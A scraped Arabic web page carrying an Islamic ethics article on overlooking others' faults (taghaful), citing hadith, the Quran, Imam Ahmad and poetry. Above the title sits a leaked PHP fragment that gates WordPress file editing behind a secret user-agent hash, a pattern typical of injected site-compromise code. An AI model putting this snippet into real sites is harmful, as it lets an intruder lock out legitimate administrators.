if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } التغافل في التعامل مع الناس - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

التغافل في التعامل مع الناس

التغافل في التعامل مع الناس وهو إظهار الغفلة وعدم التدقيق في كل شيء فإن هذا مما يحسُن، وهو من أحسن ما يمكن أن يتعامل به المسلم مع الناس عمومًا ومع الأقارب والجيران والأصحاب والزوجات والأولاد على وجه الخصوص، فالتغافل أمر مشروع وهو مما يُديم العشرة، بعض الناس ما عنده تغافل، كل شيء يدقق فيه ويحقق والحبة الصغيرة يجعلها كبيرة، هذا ما تدوم معه العشرة ولا يمكن أن يتحمله لا صديق ولا صاحب، الزوجة قد تصبر لأنها مبتلاة، لكن الإنسان يغض الطرف ويتغافل وليس كل كلمة لا بد أن يُعلق عليها، كلمة، زلة، فلتت من لسان صديق أو صاحب أو قريب أو زوجة، لا تدقق، حتى تمشي الأمور فإن هذا من أحسن الآداب، يقول بعض الحكماء: (وجدت أكثر أمور الدنيا لا تجوز إلا بالتغافل) والإمام أحمد رحمه الله لما قيل له إن فلانًا يقول تسعة أعشار العافية في التغافل، قال: بل العافية كلها في التغافل، ما أحسن هذا الأدب! يعني تغافل، والشاعر يقول:

لَيسَ الغَبِيُّ بِسَيِّدٍ في قَومِهِ

 

لَكِنَّ سَيِّدَ قَومِهِ المُتَغابي

يعني الغبي لن يصير سيد ولن يكون رئيس لجماعته ولا أصحابه لكن من يتغابى، تغابى، تغافل، مشِ، ما كل شيء يدقق عليه ولا كل شيء يسأل فيه ويحقق ويدقق ويقول لا أنا فهيم، نقول لهذا الفهيم، هذا يفسد العلاقات مع أقرب الناس إليك، ولهذا يقول صلى الله عليه وسلم في المرأة التي يعاشرها الإنسان ويتعامل معها على طول الليل والنهار، يقول: «لَا يَفْرَكْ مُؤْمِنٌ مُؤْمِنَةً -يعني لا يُبغض مؤمنٌ مؤمنة، لماذا؟ –، إنْ كَرِهَ منها خُلُقًا رَضِيَ منها آخَرَ»[1] يعني غُض الطرف ومشِ هذه الزلة وامحها في بحر الحسنات، النبي صلى الله عليه وسلم يقول : «أَقِيلوا ذوي الهيئاتِ عَثَراتِهم»[2]، يعني واحد عثر وليس من عادته، امسحها، مشّها، لا تدقق وتحقق فتقع الجفوة بينك وبين الآخرين، وفي الكتاب العزيز يقول ربنا جل شأنه: {خُذِ الْعَفْوَ وَأْمُرْ بِالْعُرْفِ وَأَعْرِضْ عَنِ الْجَاهِلِينَ} [الأعراف:199] أي خذ العفو، ما صفا لك واترك ما سوى ذلك؛ فإن ذلك مما يُديم العِشرة.

إذن نفهم من كلامه رحمه الله لما ذكر التغافل عن بعض المساوئ مما يبدو في الغفلات من كشف العورات أو خروج الريح ما هو أعظم وأوسع دائرة وهو التغافل في التعامل، إذا كانت تسعة أعشار العافية في التغافل والإمام أحمد يقول: بل العافية كلها في التغافل يعني كل شيء، لا تدقق ومشي، وتَرى هذا أصلح لك وأسلم لقلبك، أما كل شيء تدقق، كل شيء تحلل، كل شيء تحاسب عليه، تتعب وتُتعب ويتركك الناس ويجفونك.


[1] أخرجه مسلم (1469).

[2] أخرجه أحمد (25513)، والنسائي في السنن الكبرى(7293) ، وصححه الألباني في صحيح الأدب المفرد (362).